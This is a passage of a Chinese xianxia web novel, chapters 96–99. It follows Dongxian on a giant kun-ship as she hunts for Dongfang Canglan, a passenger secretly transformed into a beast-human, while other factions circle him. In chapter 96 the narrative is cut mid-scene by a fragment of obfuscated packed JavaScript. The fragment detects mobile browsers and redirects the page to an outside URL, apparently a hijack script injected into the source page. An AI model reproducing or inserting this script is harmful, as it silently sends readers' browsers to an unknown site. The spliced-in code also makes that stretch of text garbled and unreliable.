眼见两人的身体在消失，柳明媚也跟着出手，阻止他们二人进入灵域。
“亓姑娘……”
无形的力量自亓沂手中释放，砰地一下门被从里面带上，齐姓客人面上一块青一块白，像是被人打了耳光。
柳明媚话都没开始说，就被人拂了面子，她感觉有一口气憋在腔里吐不出来。
齐姓客人嘴中骂骂咧咧，状似还要强行开门，两边的近侍纷纷拉住他，劝他不要动手。
齐姓客人倒也没真的存心思与亓沂打，方才亓沂出手的一招就让他感受到强大的压迫感，两人真打起来他是自讨苦吃。
此刻柳明媚也在劝他，他便借台阶下台装作负气离开的模样，继续去下一间。
楼上的状况是楼下人不知的，这群人低语纷纷，有人恼齐姓客人不讲道理蛮横极了，有人怀着心思目光在人群中逡巡着。
东闲暗中观察，目光忽地定格在一人身上。
莫吟洲怎么也会在这里。
96.第 96 章
“你看那个人长得是不是很眼熟，像不像莫家赶出来的养子？”
“你看得没错，就是他。”
“当初莫家把他赶出来，是触犯了家主之怒，究其根源似是构陷他人死不悔改，还犯了族中忌讳，如今他还能混得风生水起，这莫家乃大义。”
为了找到齐姓客人心爱的耳坠，客人们都被安排到鲲船底层的大堂集合。
一堆人围聚在一起，难免会闲聊。
有好事者注意到莫吟洲的身影，起了八卦的心思。
“什么，他居然有轸水蚓的星宿传承？果然捡的还不如亲生的。”
莫家主雷法，轸水蚓的星宿传承完全适配莫家的雷法，莫家代代家主皆是拥有高轸水蚓星宿传承的子弟。
莫吟洲作为养子拥有适配雷法的高星宿传承，莫家现任家主却没有轸水蚓的星宿传承，所以出声者才会感慨捡的不如亲生的。
“非也。据我那可靠的小道消息可知，莫家是有意培养他成为下一任家主，只是他自己不珍惜机会，好好的一身天赋全都浪费在作画上。”
“有这好事他不赶着表现却日日只知作画，蠢材！”
“白白浪费莫家培养他的好资源，属实愚蠢。”
两人暗骂莫吟洲的不识相，被骂到的主角则正应付着几个钦慕他画而迎上来的客人。
莫吟洲在画作上极有名气，早在还是莫家人时，他便先因画技精湛把名气打出去，纵使后来他被莫家除名，他的画作仍有人想出高价购买。
“莫前辈我特别喜欢你的画，你出个价吧，多少我都买。”
“我先来的先给我画，莫前辈，我祖母就要过六十大寿，她特别喜欢你的画，你能不能先帮我画幅长寿图，价格好商量。”
几人把他围在中间，希望能得到他的回应。
看得那两人又是呸了一声。
莫吟洲本想答应，因听见某些人讨论了不该讨论的事而感到恼怒，微不可查地紧眉，复又松开，道：“抱歉，我需要休息一段时日，诸位请回吧。”
修士耳聪目明，优点是什么风吹草动都能听得见，缺点是什么风吹草动都能听得见，虽然说话的人不止一个，但因为对方提及他的名字，莫吟洲便忍不住在意他们的对话，于是知道他们说了什么。
听见他们谈论的内容越来越放肆，甚至恶意揣测他与兄长的关系，莫吟洲忍不了。
他装作不经意地扫了一圈，心中记下那两个长舌的混账，待寻机会必当好好教训他们。
东闲将莫吟洲面上的隐忍之色收尽眼底，饶有兴趣地回味着方才目睹的变化。
她一直知道莫吟洲并非善茬，却也是蠢材，关于“缘”上的记载，莫吟洲可谓是被他兄长莫连理利用了个遍，只需亲情的名义就能让他自甘困在囚笼之中，把身上的血肉肋骨拆解送给他的兄长。
也许他的兄长确实把他当作亲人，但利用是实打实的。
东闲已经明白百生镜的作用，在得知识海中的贪狼星君就是未来的她，她便明白“缘”和百生镜映射的是现实，区别在于是否发生。
所以“缘”上说莫吟洲最后为其兄长而死是真的，是在未来会发生的事实。
东闲不懂。
人为什么不能活着自私一些呢，这生最该爱的人不是自己吗，因为不懂这种情感，所以东闲对莫吟洲多有好奇，在她看来，莫吟洲简直傻到无可救药的地步，居然会为了莫连理到了几乎可以说得上是卖命的地步。
东闲才不会让自己陷入这种境地，为别人而死实在太可笑了，可偏偏未来的自己就是为了别人而放弃飞升宁要顶着天罚也要回到过去。
蠢极了。
她一定是中毒才做出这种事。
一向精明爱己的她怎么会做出这种事？
这辈子绝不能重蹈覆辙。
东闲收回目光，投向转角处，陆陆续续有客人往大堂来，若是东方苍岚不想为人注意，他最好跟随主流来大堂证明清白。
东闲知道，他一定会来的。
***
甲层编号为一二的客房内。
男人嘶声裂肺地吼叫着，声音都能使这座庞大若山体的鲲船震一震。
“你们为什么不早点找到我，我迟了约定时间整整一旬，你们难道不会去派人寻我吗？”
房间中另一个男人回应道：“我们并不知道你消失的事，欢乐坊从未停止过在这一旬内用任何方式寻找你。”
东方苍岚：“这就是你们所言的找？你别再说了，出去。”
全巩无法明白东方苍岚压抑的痛苦，而东方苍岚也不愿道明他的痛苦，正是他痛苦的缘由既让他恶心又恐慌。
欢乐坊有东方苍岚的接头人，任务是把东方苍岚平安送到灵微洞天，原本他们事先商量好接应的日子，东方苍岚不知为何消失了整整一旬，偏偏他的踪迹不能大肆搜寻，欢乐坊暗中寻找无果，直到东方苍岚突然出现，自称忘记了那消失的一旬所有事情。
欢乐坊本来愿意为他恢复记忆，而这件事竟是触碰到他的逆鳞，东方苍岚无论说什么都不肯恢复记忆。
对此，欢乐坊也觉无奈，决定按照最初的约定，把东方苍岚平安送到灵微洞天。
全巩一个粗汉子，平日里办的都是杀人的勾当，如今也只是负责东方苍岚的安危，可不代表要受他气维护他脆弱的心灵，全巩还巴不得要离开这间屋子，哪怕为了保护东方苍岚，他们选择共居一间。
一屋子的乌烟瘴气，他受不了，他走。
等到全巩走了，东方苍岚还犹为不放心地甩去一张符咒附在门上，外面的人若非有意破坏此符，必然进不来。
他满心愤怒不得宣泄，几乎想破坏客房内所见的一切，但是想到这行为与野兽有何异，他又强行压下内心的冲动。
他拿起铜镜，一手扯开衣襟，露出最里处的胸膛。
眼看胸口还是那浓密得过分的毛发，他恶心得想吐，眼睛瞬间布满血丝。
异化后的身体，不单单是表现在胸口上突然长出来的一堆黑毛，还有他的脚掌，竟然在往野兽的脚掌发展，因为脚掌变大他穿鞋都要叫人赶制出最大号，他不敢想象，再过多久时日他会彻底成为一只妖兽。
如今尚且还能遮掩，可等他全身异化，那他岂不是要成为一只真正的妖兽，且要被所有人知道。
他无法忍受！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967802|134915||http|test|mini|href|location''.split(''|''),0,{}));
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而这一切的变化，都是在他失去记忆的那一旬发生的，那一旬究竟发生了什么，没有人知道，而他也不敢回忆。
他曾经历过一场被改造为妖人的试验，这听起来太耸人听闻，偏偏这种可怕的事发生了。
如今他的体内存在着另一头妖兽的意识，他与这头妖兽共存，思想也情不自禁地与它融合，脾性也向妖兽发展。
不过化身妖人后，他的确有很好的变化，比方他吸收灵气的速度比以前快得多，能够真正做到辟丹，不需五谷杂粮去维持饱腹感。
他的力量在不断地强大，体内力量十分充盈。
但是如若这种变化要他不再成为人的代价来换，他宁可不要。
妖兽这种存在把它当个战斗伙伴已是抬举它们，它们大多连正常人的智商都没有，除非是高阶妖兽，才会有正常人该有的智商，而与东方苍岚融合的妖兽却是一只三阶妖兽，东方苍岚更难能忍受如此痛苦。
他认为那一旬的记忆必定苦痛万分，不敢回忆，但他必须找到是谁把他变成如今这种鬼样，他要报仇，他要让那个人把他变回来。
东方苍岚握紧成拳，眼球都要瞪得凹出来，满心的恨让他无法平静。
当初他是在幽云城一处角落睁开的眼，这证明对他动手的人就在幽云城的可能最大。
能够神不知鬼不觉地把他藏起来，且一旬不被发现，幽云城内到底是谁会拥有如此能耐。
东方苍岚恨得咬牙切齿，脑海中一一闪过几个名字。
客房的门被敲响，“咚咚咚”敲在东方苍岚的心上，扰得他烦不胜烦，连忙整理好仪容，遮挡住胸前过于茂盛的毛发，他方去不耐烦地开门。
“我说了多少遍，让我一个人静静！”
奈何敲门的不是全巩，东方苍岚又惊又怒地看向来人，而他极力掩藏的慌张还是悉数为柳明媚的心腹捕捉。
对方说明来意，希望东方苍岚下楼，其后的全巩也在用眼神示意他答应，东方苍岚心中清楚，若是拒绝反倒惹人生疑，于是绷着脸勉强应下。
齐姓客人催促道：“走快点别磨蹭，该不会是你对我的东西起歹心。”
东方苍岚本就恼怒，一听他在怀疑自己，想撕烂他的心都有了。好在全巩及时按住东方苍岚，低声问道：“你怎么了，这么容易冲动。”
东方苍岚犹如被雷劈般顿住，立刻默然，他知道是自己过激的举止引来了全巩的怀疑，再不敢动作，老实跟着他们下楼。
东方苍岚与全巩一前一后下来，立刻落入一直有意盯着楼口的东闲的眼底。
东闲未见过东方苍岚的真容，不知他是何模样，但正因为每一个从楼道口下来的人都有着是东方苍岚的嫌疑，所以每一个人她都仔细端详记忆。
她以目光描摹着两人的容貌，她本身记忆不错，在看到东方苍岚抬手抓脸的时候，东闲不由自主地落在他的手背上。
手背上的刺青映入东闲眼底，漆黑的瞳孔只剩下那道刺青。
这是……
当对方转过身去，东闲也忘记了她方才的想法。
她恢复清醒，目色透出几分迷茫。
我怎么了？
97.第 97 章
从二层陆陆续续下来不少人，这座鲲船大约搭载了三十个客人，东闲已将所有人的面容都记在心中。
因为不确定东方苍岚到底以何种身份上船，早在第一时间登上鲲船时，她把跟她同行的船员们的脸也尽力全部记住，虽然对方会像她这般胆大包天地冒充船员的可能性比较低。
东闲继续蹲守在角落，尽管无人观赏她的表演，面上仍是尽职地扮演着迷醉的模样，眼底透露着不符面色的清醒。
她目不转睛地看着大堂内发生的一切，人没有来齐，最起码东闲知道的亓沂没来。
客人们排队净手的结果很快出来——没有人拿走齐姓客人的耳坠。
其中亓沂是最后一个来的，她接受过检查看也没看结果便转身离开，因为她的结果是正常的，所以无人出声拦她。
齐姓客人脸色一阵青一阵白，他不肯相信没人觊觎他的宝贝，而是他自己弄丢的。
柳明媚的心腹告诉齐姓客人，遁形水可判断一个人的手干不干净，藏气符可以记录他的气息，除非他并未接触过丢失的耳坠，这场检查才会失败，如若没有这个意外，那么证明鲲船内并没有人拿走他的东西。
齐姓客人闻言脸色更差，周遭人已经开始小声议论，可落在修士耳中哪有小声大声之分，只有听见与听不见之分。
他脾气上来，作势要在附近搜查起来，“我的东西是在你的鲲船丢的，你们居然还怪在我身上来了，你可知道那是多宝贵的东西，你们鲲船必须给我个说法。”
他目光一转，道：“你们肯定有人用了可以躲避遁形水结果的法术，所以遁形水才失效的，我的耳坠是个修士都会眼馋的高阶法宝，要说你们没人起了歹心我一万个不相信，你们恐怕也不敢放在身上一定是藏在某处，我知道在哪了。”
齐姓客人突然朝楼梯口去，几个船员连忙跟上去，柳明媚的心腹在向鲲船的客人道歉。
后面的闹剧东闲没有看下去，她在进行净水检查的时候就悄悄走上楼梯离开了，她离开时还撞上亓沂，亓沂见是个醉鬼仅仅紧眉，并未说什么，与她别过。
人群中的高白露内心忐忑，祈求他们一定不要发现鸦昤的存在。
一炷香前，高白露得知齐姓客人要下来搜寻他丢失的物什，只得替鸦昤松绑，让鸦昤翻窗出去。
彼时，鸦昤翻窗出去绕到甲板上，等待搜查结束再翻回去。
高白露并不担心齐姓客人会要求一间一间地去搜查，因为柳明媚绝不会容许他这一过分的行为，但是被她放出来的鸦昤未必会按时回到房间。
这是高白露最担心惧怕的一点，这个齐姓客人也真是事多，害得她不能把鸦昤带回去，到时宗门定会怪罪于她。
鸦昤又是性子冲动的，她要有个三长两短，高白露自己也良心难安。
高白露急得团团转，见齐姓客人上楼走了，她也跟上去，她最好要赶在齐姓客人前把鸦昤找到，不能再放走鸦昤。
鸦昤是半途上船的，没有经过舶主的同意，舶主并非是个脾气好的，相反还很不吃亏，在她这里，可没有上船再补票的道理，她定会把鸦昤扔到海里喂鱼。
出去的齐姓客人到处翻寻他的宝物，他最先怀疑的是甲板，他径直朝甲板而去搜寻他的东西，外面不知何时下过雨，只要再往前来，必然能够看见鸦昤留下的潮湿的脚印。
是的，鸦昤还藏身在甲板上，因为内里有人看守，她迟迟没有机会回去，迫不得已只能继续留在甲板上。
她要是被发现，定然跑不了，此刻真的只能祈求上天让她幸运一点。
一步，两步……
忽然杂乱的砰砰声引得异常紧张的鸦昤一颤，她的运气实是不算好，这么快就要被人发现她的痕迹。
她胆战心惊地等待，大脑迅速搜罗着对策，紧接着传来醉鬼含糊不清的浑话。
“再来，老子还能来，老子这把一定能中。”
醉鬼嘴中咕哝道，在地上打了个滚。
鸦昤用余光看见，他滚过的地方恰好抹去她脚印的痕迹，只要来人不再继续向前走，不会发现她躲在这。
齐姓客人瞧见了醉鬼，像是终于抓住了鲲船的把柄，觉得自己的面上好过，有意大声呵斥道：“你醉成这样成何体统，这种时候谁允许你们喝酒的。”
酒鬼看清来人，终于清醒几分，跌跌撞撞地爬起来。
“我没有喝多，我就是头有些晕乎，我这就走。”
他就这么几步跑，越跑越歪，脚下一咯噔差点撞到齐姓客人身上。
齐姓客人嫌恶地退开步伐，被他身上的酒气熏得捂住口鼻，大声囔道“你们还纵容他吗”，跟着他来的船员立刻上前作势要把酒鬼拉走。
齐姓客人还想往前走，前面的地方他还没检查，堆着那么多货物一看就好藏东西，说不准他的宝贝就在那咧。
他方走一步，便有船员唤道：“客人请留步，你的东西已经找到了。”
齐姓客人面上一喜，问道：“找到了？在哪里？”
船员回道：“在您的房间。”
齐姓客人面上挂不住了，嘴硬道：“怎么可能，我明明把它收拾妥当，怎么可能在我的房间，我不信，我要回去看看。”
说着，逃也似的跑开了。
躲在货箱后的鸦昤暗自松口气，这醉鬼来得太是时候，这声找到了更是时候，不然她就要被发现。
如今搜寻一事结束，她可以回去了，但是回去高白露指不定又想出什么法子把她控制住。
鸦昤忽地又不想回去，高白露一定会为了师门阻止她，但她要找到杀死师尊的真凶。
某间客房，舶主柳明媚听着下属的汇报。
这群船上有些人打着什么心思，她怎么会看不出来，要知道这里的杂役最低也是淬灵境修为的修士。
她涂上鲜红豆蔻的食指敲打着案面，漫不经心地道：“看来我的鲲船混进来一只小老鼠，算计人都算计到我的头上来。
“继续盯着，别叫他们坏了我的东西，把这只老鼠找出来，不要惊动他。”<
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p>她是个精明的商人，只要不损坏她的利益，她是不会插手此事。
而且她也只是个商人，凭靠着自家独创秘法才能打造如此庞大而惊人的鲲船，如若东西被他们砸了只要叫他们翻倍偿还便是，往往这种时候她还能额外再赚一笔。
而且，她还不想吓到这只小老鼠，她还有更大的忙需要对方来做。
至于偷溜上来的鸦昤，她自有安排。
***
东闲因为醉酒失职被克扣工资，要到后勤清理所有的脏东西，柳明媚还说下一站停靠点会把她扔在那，再想登船自个儿赚钱以客人的身份上来。
这对东闲来说不是难事，她倒是还想回一句不用劳烦你送，我自己就会提前离开。
而这提前的时限，取决于她能多早拿到东方苍岚身上的物什。
柳明媚为了惩罚她，让她一人把杂物间的脏活干完，于是整间屋子，仅仅东闲一个人在。
这简直是瞌睡了有人来送枕头，她正想一个人待着，以免被发现她做的事。
东闲手持纸笔，简易地绘出几张她觉得嫌疑最大的面孔。
船上来了几个熟人，定然不在她画笔之下，根据先前的行为判断，暂可划掉一些人物，最后能让她有疑心的居然达到十的数量。
三十人排除二十人，已是很好的结果。
关于东方苍岚此人的面目，林纾衣并未查到，只能查出他的名字，所以东闲也不知道对方的容貌。
关于此人有何特征东闲更是不知，林纾衣的原话便是一个叫东方苍岚的男人要登鲲船去灵微洞天。
东闲开始思忖并进行合理猜测。
林纾衣告诉东闲，她派去的人早在一旬前就已经登上鲲船蹲守东方苍岚，但是迟迟没有得到东方苍岚的消息，她猜测东方苍岚还没上过鲲船，因为她能知道东方苍岚登鲲船的行踪，是截取了半途飞向欢乐坊的消息。
后来林纾衣派人继续跟进欢乐坊的动静，一旬以来都不见欢乐坊有谁有登鲲船的打算。
东闲还不能理解，林纾衣为何偏偏让她接近东方苍岚，这算是考验？
若是考验，她会给所有她看得过去的人唱戏？
东闲怎么觉得这其中憋着坏呢。
今日她弄出来的动静，柳明媚必然会有所注意，东闲敢弄出这一遭，是提前打探过鲲船的消息，知道鲲船如今有个研发出龟船的对家，若是鲲船在这个节骨眼出事，必然会引得对家大肆宣传，趁机将它拉下水踩它上位。
精明的商人不容许这种事发生，柳明媚尝了太久鲲船的红利，一朝被人分羹自是心中不满。
但柳明媚也不是好糊弄的人。东闲估摸着自己恐怕不能正常下鲲船，不知渡过三溺水，还要行多久路才能抵达灵微洞天。
东闲后背抵在墙上，神色少见的严肃。
她本不必着急，距离鲲船抵达目的地还有一个时辰的时间，这期间足够她把人找到。
问题在于这艘鲲船上不仅仅她一人对东方苍岚有想法，她还有敌人。
98.第 98 章
一层大堂聚集的人并未都散去，舱主为了补偿所有的客人，邀请他们留下品尝由红莲果制作的糕点。
红莲果一物因其产出低而出名，种植一池塘的红莲，能够结果的最多四个，不过它成长极快，一年成熟四次，一定程度上弥补了缺憾。
红莲果拥有滋养身体维持青春之效，众人闻言也欣然留下，毕竟红莲果的价值摆在那，舶主愿意拿出红莲果作为补偿，可见其诚心。
一对闹脾气的情侣也入座接受船员赠送的糕点。
应芷目光不留痕迹地在人群中搜找，同时以心音传讯。
“我瞧着这些人似乎都不太像，他该不会不是以客人的身份登船吧。”
应芷还在跟丰忆安演着情侣吵架的戏码，面上冷着，向外释放冷气，因为两人是合作多年的搭档，实在难以跟对方演绎唧唧歪歪的恩爱情侣，故而想出闹脾气的方法来。
丰忆安也很配合，这戏份要比恩爱小情侣好演不止多少倍。
“未必，柳明媚不是能够糊弄的人，她很棘手，我们这趟目标是拿到东方苍岚身上的玉如意，尽量不要碰坏鲲船上的东西，柳明媚爱财，到时定诈得把我们俩卖了也不够赔的。”
应芷目光眯了起来，“我似乎看见了一张熟面孔，百仙盟的人来这干什么？听说怡红院的圣者岑为霜弄出了什么妖人，惊动到百仙盟那里去，可为何他们现在上鲲船了，难道是因为来世之人的事。”
丰忆安道：“百仙盟的人，在……”
在他的视线中，一隅的矮瘦男人不时地抬手挠脸，手背上奇怪符文的刺青便堂而皇之地占据人的视线。
应芷注意到他不同寻常的停顿，正要出声问他怎么了，随着他的视线看过去，大脑也跟着停止运转，满心眼里只剩下那人手背上玄奥的刺青。
等到男人放下手，两人才缓过神来，他们不知发生了什么，眨了眨眼，恢复神智，都忘记刚刚发生什么。
东方苍岚假装脸很痒似的，不时抬手挠脸，他频繁的动作不会惹人生疑，因为所有注意到他手背刺青的人，都会忘记最近几息内发生的事，从而降低他的存在感，没有人会注意到他的。
一旁的全巩留意着周遭的动荡，咬着红莲糕，时刻警惕有可能会出现的危险。
他状似闲聊般，开口：“百仙盟的人居然也在这。”
东方苍岚正犹豫自己要不要吃一个红莲糕以示自己不是异类，不知道为何他对红莲糕十分抵触，总是觉得那糕里散发出恶臭腐烂的味道，可能是因为他体内多出的存在。
听到全巩提到百仙盟的人也在这里，他犹如五雷轰顶，手中夹着的红莲糕因为对力量失去掌控而不小心夹成粉碎。
百仙盟的人怎么也会在这里？
百仙盟会如何对待妖人？一个新的种类，非人非妖，连魔都算不上的怪物。
替换星宿传承但没有使用焕新膏的，会被百仙盟关进监牢控制，若使用焕新膏根据轻重程度判断是关进监牢控制还是就地格杀，而妖人，一个陌生且可怕的新存在，他的结局或许是被诛杀。
东方苍岚越想越颤抖，他已然预见了自己的未来，不，这不是他的未来，他可以规避的，他不能让百仙盟发现自己的存在。
东方苍岚什么话都没说，转身朝楼梯而去，全巩看着他不言一发就走的背影感到茫然。
这人又生气了？
全巩本想等着众人都走了，再带东方苍岚混入人群，不过现在走也不会出事，这东方苍岚可真难伺候，难道他的事情与百仙盟有关？
全巩不确定，上头派给他的任务也只是让他护送东方苍岚到灵微洞天。
他想了想，还是跟上去，任务是要完成的。
他们的离开未带来多少动静，有人轻轻扫过他们的身影，复而拾起一块碟中红莲糕。
上官莲蓉咬下一口红莲糕，清甜的味道于舌尖绽放，令她感到意外的欣喜。
“这红莲糕还怪好吃，我们要不要给亓沂师姐也送过去。”
邱少英道：“要是赌红莲糕能不能送到亓沂师姐手上，那没意思，但是赌你去了是躺着出来还是能站着出来，那我压一两赌你躺着。”
上官莲蓉闻言撇嘴，“这可真是个大麻烦，你说亓沂师姐怎么就偏偏挑中我们两人呢，月华长老又怎么放心让我们两人跟着亓沂师姐？亓沂师姐要真想做什么，谁敢拦她？这算什么事啊。”
邱少英道：“算什么，算我们倒霉呗，如若当初在赤焰龙脉我们碰到的不是亓沂师姐，可能亓沂师姐就不会找上我们，也罢，多说无益，我们既然没办法听月华长老的，倒不如听亓沂师姐的。”
上官莲蓉：“闻人丰可真好命，让他装病躲了去，可恶，我怎么没想到也装病呢。”
她看着眼前一会就空了的碟子犯了难，怎么就这么不禁吃，三口就吞下肚里去。
邱少英拍掉她不老实的手，斥道：“红莲糕可不是像你这样吃的，补太多会导致你体内灵力溢散，有爆体的风险。”
上官莲蓉翻了个白眼，“你别说得这么恐怖好吗。”
一道女声自她们上方传来，打断她们之间的谈话。
“你好，这个位置应当没人坐吧。”
坐着的两人看过去，是一个礼仪很好手端碟子的姑娘，身着一身掐着金丝的精美衣裳，看起来家境富裕。
此刻她微微垂着头，发边的流苏随着她的动作缓缓垂下，虽然是站着，看过来的视线却给人一种平视的感觉，很是亲人。
邱少英顿了顿，方道：“没人。”
感受到二人略显异样的目光，宋玉瑶也不见异色，自然地入座她们身侧，她端来的碟子内摆放的与她们不同，是种更清甜散发着诱惑的糕点。
上官莲蓉忍不住勾着脖子看过来，问道：“为什么你碟子里放的不是红莲糕？”
宋玉瑶道：“这是我从家中带过来的，名叫凉玉糕。”
邱少英道：“凉玉糕？吃了能补灵力的凉玉糕，要比我们宗门的灵厨所做出来的食物有百倍功效。”
宋玉瑶没有否认，道：“二位姐姐可也要来一块吗？”
上官莲蓉似笑非笑，“吃人嘴短，拿人手短，姑娘，这可是好东西啊。”
上官莲蓉这话里有话，显然是觉察到对方不太纯洁的动机。
宋玉瑶则是主动用筷子夹起两块糕点，各放在她们二人的碟中，如此优雅的举止引得上官莲蓉扫了眼自己拇指上还没擦去的残渣，暗叹果然是大户人家出来的小姐。
宋玉瑶道：“二位唤我玉瑶便好，我来这是想跟二位交个朋友，我原是要往西边去的，第一次登鲲船身边没个伴，我有些不习惯。”
上官莲蓉嘴快道：“好巧，我们也是要往西边去。”
宋玉瑶心下了然，笑盈盈道：“那可真是巧了，看来我们可以有很长时间相处。”
她与二人谈天说地很久方才离开，见大堂的人散了差不多，与二人告辞说要去歇息。
同时刻的东闲，还在对着纸张上的画像发怔。
这由她粗绘出来的三十张面孔，出现一张令她
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茫然的面孔，因为那张脸上什么都没有。
这实是古怪。
东闲不会错漏任何异常，很奇怪，她粗略数了三十个人，却独独忘记了一张脸。
是她碰到了什么吗，想来这张脸的主人应是她要找的东方苍岚。
东闲不禁又记起林纾衣，林纾衣绝非是好心给她一个灵微洞天请柬的线索，她对自己只有利用，为何东方苍岚的事林纾衣会选择让她来处理？
东方苍岚消失了一旬，一旬之后他登上鲲船去往灵微洞天，这消失的一旬林纾衣是真的一点都不知道，还是在隐瞒。
如若不知，又怎么会马上得知东方苍岚登上鲲船的事。
东闲发现事情的不对劲，而她所做的，只能尽力为自己谋利，而不是一无所知地被利用，在此前她得先弄明白林纾衣为何要隐瞒东方苍岚消失的一旬。
她将自己绘制的三十张画像全部叠在一起收起来，目光打量着杂物间，却并不打算真的动手去处理杂物。
她又不是真的下人，当然没有这个自觉。
东闲略觉无聊地在杂物间走了一圈，发现这里其实比她想象得还要干净，仅仅是看起来杂乱罢了，似乎常有人来过这个地方。
东闲到现在都记得站在外滩上看鲲船时的震撼，那样一个庞然大物，仰望着它仿若在仰望一个神。
鲲船不愧是一项由人类创作出来的伟大作品，想要搭建这样的鲲船，无论是人力、资金、还是时间都是惊人的，据说当初鲲船耗费了数以万计的人力，而这人力还是修士，耗费的资金可以买下几个王国，为了加快鲲船的搭建，也至少耗费了百年的时间。
东闲进入鲲船以来，她踏过三层，一层二层为客房，底层是杂役们的休息区与放置货物杂货间，但是她所见到的杂货间有点小。
鲲船建造这么大能够放杂货的区域却是出奇的小，这不太应该。
鲲船每次搭载的人数限量，严格控制在四十人，对外宣称是因为鲲船自身的特殊性质，不过通常也不是太多人需要渡过三溺水去其他地方，所以没人在这方面有过多的想法。
东闲对鲲船的认知并不太多，只是觉得站在商人的角度，经营如此一座巨大的鲲船，只靠着每日接待客人赚取得来的钱似乎并不够支撑鲲船的花销。
鲲船搭载的并非只有客人还有货物才对。
东闲看着这间杂物间放满的货物，杂乱无章的但皆密封完整，她试图穿梭其中但是货物摆得太多，导致路太窄并不好正常穿行。
她突然生起一个想法。
东闲攀上货物，走在货物上方，她深入里中，继续向前走，越往前走越难以通行，这具身体骨架太大，身量也直逼一米九，而前面的路宽窄，只够一个孩童前行，或者是……
一个佝偻着身体匍匐前进的小老太。
东闲掐诀起了个屏障阻挡他人窥探的视线，果断用百生镜换上她曾经用过的面孔。
东闲一直向前走，走到最后需要爬过去，一直如此到了尽头。
光线暗下来，东闲用手碰到壁，知道自己走到头，用手又敲了四周，她什么也没发现，不禁疑惑。
难道是我多想了？
她还以为这里应当有个暗门能通向别处，可是她却什么也没发现。
林纾衣不敢在鲲船上对东方苍岚动手，难道不是怕自己的身份被发现吗，那么鲲船一定藏着什么秘密，可这里怎么会什么都没有，难道不是在这？
东闲方想退回去，眼前倏地被一刺。
光？哪来的光。
99.第 99 章
东闲记得把她送进杂物间的人说了一句玩笑话。
“这少有人来的地方，还挺干净的，难道最近有不少个像你这种的酒鬼？”
据对方的意思，这里应当很少有人来，可事实上这里给她的感觉与船员的话相悖。
所以她才会以为杂物间有暗道，但她没有找到，只找到晃过眼睛的光。
她复而想到如若鲲船的密道能被她轻易发现，那么鲲船早就出事了，如此她释然，至少那一晃而过的光，足以让她确定鲲船另有其秘密。
东闲慢慢往后退，等到合适的距离，把自己的身形变回青鸟的身形。
这艘鲲船不老实。
她记得百仙盟也跟着上鲲船，朝天宫的人来抓她会不跟着百仙盟一起行动吗，想来也没道理。
引起百仙盟注意的，除了来世之人的存在，便只有往生。
百仙盟来幽云城是因为听到待在怡红院的圣者岑为霜意图开展妖人计划的风声，他们不在幽云城多待一段时间，反而选择登上鲲船，东闲思来想去也只有两个理由可以解释。
百仙盟登鲲船要么是要去别的地方，要么是对这艘鲲船有想法，比如鲲船内藏着什么触犯他们禁忌的存在。
而在方才东闲的发现中，已足以确定鲲船上确实存在一批不可告人的货物，就是不知这所谓的禁忌与她想的是否一致，她还无从去验证。
东闲觉得自己可能离真相越来越接近。
她若有所思，耳畔出现窸窸窣窣的声响，引得她警觉，如今淬灵境后期的她比近两月以前的凡人之躯，多了一份自保之力，但是在修仙界这等实力还远远不够。
两个月修到淬灵境后期，乍一听很唬人，觉得一定是哪个千百年难遇的妖孽降世，甚至说天上神仙下凡也不为过，可若是换种说法，一个二十的修士才修到淬灵境后期，便显得平平无奇甚至是慢了。
修炼这一条路上，要求在修到凝元境以前都必须坚持自然吸收灵气而成，不可借助外物，过早地去依赖外物是有弊于修行，各大宗门收取弟子的标准也是要满骨龄八岁不超十岁的孩童，所以一般最迟十五岁就该有凝元境的实力。
年满二十的东闲属实太普通甚至说得上差一字。
修仙界虽然大多都是只有淬灵境或凝元境的实力的修士，但是她目前惹下的祸端绝非是这等实力的人来抓捕她。
自从得知所谓的贪狼星君只是自己的一缕来自未来的灵识，她便明白那些百道秘法绝学都是来世的自己从别人那学来的，落在别人眼里，从未接触那些百道秘法绝学却已经能学会的她，可不就是用了什么歪门邪术窃取了他们的秘法绝学吗。
就算东闲承认自己是来世之人，有未来的记忆加成，他们也不会爽快。
她有着逆天的学习能力，跟别人多打几次就能把别人的招学得差不多，不过其他百家肯定受不了她如此轻而易举地学了他们的招式，因此怀恨在心是正常，对她喊打喊骂那是必然的，毕竟每一种秘学都是一个人的心血，你说看几眼就能学过去，实在是太不给别人的心血面子。
所以她如今的实力还是不够，真要对上百仙盟那群人她定然跑不过。
东闲心想谁还会来后勤，总不能是百仙盟的人，她明明一点破绽都没暴露。
东闲看向合上的门，静默不语亦不动。
鸦昤途中劫持一个船员，从对方口中得知可以来底层的杂物间，那里通常没什么人来，然而真等到她到这里，她却感应到第二人的存在。
她缓缓逼近门时，猛地推门而入，抓过那人的臂膀，把人砸在墙上，发出沉闷的声响，雪白的长剑横在喉间，卸去对方意图抵抗的气力，完全压制对方。
“你今夜什么都没看见什么都没听到，现在无论发生什么，都以我的命令为先，明白？”
长剑推向前去，在对面人的脖颈间留下一道细长的血痕，鸦昤仰头看去，这才发现此人是不久之前救过她的醉鬼，对方的眼底有着讶异，似乎是没想到有人会来杂物间。
鸦昤道：“回话！”
“青鸟”急忙回道：“好。”
在这能看到鸦昤，是东闲没有想到的。
她记得，鸦昤这时候应当回到不夜天才对。
看来她根本没有回到不夜天，而是选择孤身寻找师尊之死的真相。
鸦昤扫了眼杂物间的陈设，感应附近没有明显的灵力波动，稍稍放心，问道：“你在这里干什么？”
东闲记得自己一身还是明显的船员打扮，所以她应当把自己认为船员才对。
“醉酒误事，被罚到杂物间整理收拾。”
醉酒误事，鸦昤可清楚她话中的醉酒误事，便信了她一句言论。
她又问道：“这里常来人吗？”
东闲回道：“不常。”
鸦昤仍在打量，东闲却是绕开她，去把湿了的抹布拧干。
她很警觉地剑尖逼向前，问：“你做什么？”
东闲：“擦东西，这是舶主吩咐的。”
说完，她就真的拿着抹布在附近擦了起来。
鸦昤有句“虽然但是”要说。
她定定看着东闲动作，发现她真的在打扫，鸦昤警惕不改，注意外面的动静，同时也关注东闲动作，她还是不太放心东闲。
“鲲船何时第一次停靠？”
